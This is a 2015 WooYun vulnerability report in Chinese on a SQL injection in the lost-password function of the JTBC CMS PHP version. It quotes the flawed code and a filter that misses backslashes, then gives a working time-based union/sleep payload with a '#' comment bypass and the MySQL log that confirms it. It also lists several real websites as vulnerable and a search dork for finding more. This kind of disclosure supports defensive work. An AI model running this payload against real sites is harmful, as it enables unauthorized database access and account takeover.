JTBC内容管理系统PHP版本注入漏洞 | wooyun-2015-0107009

漏洞概要关注数(24) 关注此漏洞

缺陷编号：

wooyun-2015-0107009

漏洞标题：

JTBC内容管理系统PHP版本注入漏洞

漏洞详情

披露状态：

2015-04-24：积极联系厂商并且等待厂商认领中，细节不对外公开
2015-06-08：厂商已经主动忽略漏洞，细节向公众公开

简要描述：

JTBC内容管理系统PHP版本注入漏洞

详细说明：

1.首先定位到本次的漏洞文件。passport\common\incfiles\module_config.inc.php

function jtbc_cms_module_lostpassworddisp()
{
  global $conn;
  global $ndatabase, $nidfield, $nfpre;
  $tusername = ii_get_safecode($_POST['username']);//这里传入参数
  $temail = ii_get_safecode($_POST['email']);
  $tname = ii_get_safecode($_POST['name']);
  $tsqlstr = "select * from $ndatabase where " . ii_cfname('username') . "='$tusername' and " . ii_cfname('email') . "='$temail' and " . ii_cfname('name') . "='$tname'";
  $trs = ii_conn_query($tsqlstr, $conn);
  $trs = ii_conn_fetch_array($trs);
  if ($trs)
  {
    $tpassword = ii_random(8);
    $tmd5password = md5($tpassword);
    $ttopic = ii_itake('module.lostpassword_topic', 'lng');
    $ttopic = str_replace('[]', '[' . ii_itake('global.module.web_title', 'lng') . ']', $ttopic);
    $tbody = ii_itake('module.lostpassword_body', 'lng');
    $tbody = str_replace('[name]', ii_htmlencode($tname), $tbody);
    $tbody = str_replace('[username]', ii_htmlencode($tusername), $tbody);
    $tbody = str_replace('[password]', ii_htmlencode($tpassword), $tbody);
    if (mm_sendemail($temail, $ttopic, $tbody))
    {
      $tsqlstr = "update $ndatabase set " . ii_cfname('password') . "='$tmd5password' where " . ii_cfname('username') . "='$tusername'";
      ii_conn_query($tsqlstr, $conn);
      mm_imessage(ii_itake('module.lostpassword_emailok', 'lng'));
    }
    else mm_imessage(ii_itake('module.lostpassword_emailerror', 'lng'));
  }
  else mm_imessage(ii_itake('module.lostpassword_infoerror', 'lng'), -1);
}

可以看出传入的参数经过了ii_get_safecode函数的过滤。
2.我们继续看ii_get_safecode的过滤规则。

function ii_get_safecode($strers)
{
  if (!ii_isnull($strers))
  {
    $tstrers = $strers;
    $tstrers = str_replace('\'', '', $tstrers);
    $tstrers = str_replace(';', '', $tstrers);
    $tstrers = str_replace('--', '', $tstrers);
    return $tstrers;
  }
}

可以看出程序只是过滤了单引号、分好和注释符。
3.可以看出程序并没有过滤反斜线（\），如果我们有两个连续可控的对象，就能够实现注入了。还是回答上面第一段代码，我们构造payload。我都只有一个斜杠，怎么变成了两个，乌云大大

从图上可以看出，这个POST请求的运行时间是5s，满足我们payload构造的注入。
4.然后我们去看一下mysql记录下来的日志文件。

150128 15:33:08   896 Connect   root@localhost on 
                  896 Query     SET NAMES 'UTF8'
                  896 Init DB   jtbc
                  896 Query     select * from jtbc_passport where p_username='abc\' and p_email=' and 1=2 union select 1,sleep(5),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 # a' and p_name='test'
150128 15:33:13   896 Query     select * from jtbc_aboutus where ab_hidden=0 and ab_lng='chinese' order by ab_time desc limit 0,10
                  896 Quit

可以看出我们abc后面的注释符转义了第一个闭合的单引号，然后造成了过滤。程序过滤了"--"，我们也可以用"#"进行绕过。

漏洞证明：

互联网案列
http://t1.inodsoft.net/passport/index.php?action=lostpassword
http://www.ooo0.net/passport/index.php?action=lostpassword
http://www.rzeg.0fees.net/passport/index.php?action=lostpassword
http://epzhutou.site88.net/passport/index.php?action=lostpassword
http://www.greenarkfarm.com/passport/index.php?action=lostpassword
google搜索：Copyright 2004-2015 JTBC(CMS)

WooYun.org

漏洞概要关注数(24) 关注此漏洞

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源命途多舛@乌云

漏洞回应

厂商回应：

WooYun.org

漏洞概要 关注数(24) 关注此漏洞

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 命途多舛@乌云

漏洞回应

厂商回应：

漏洞概要关注数(24) 关注此漏洞

版权声明：转载请注明来源命途多舛@乌云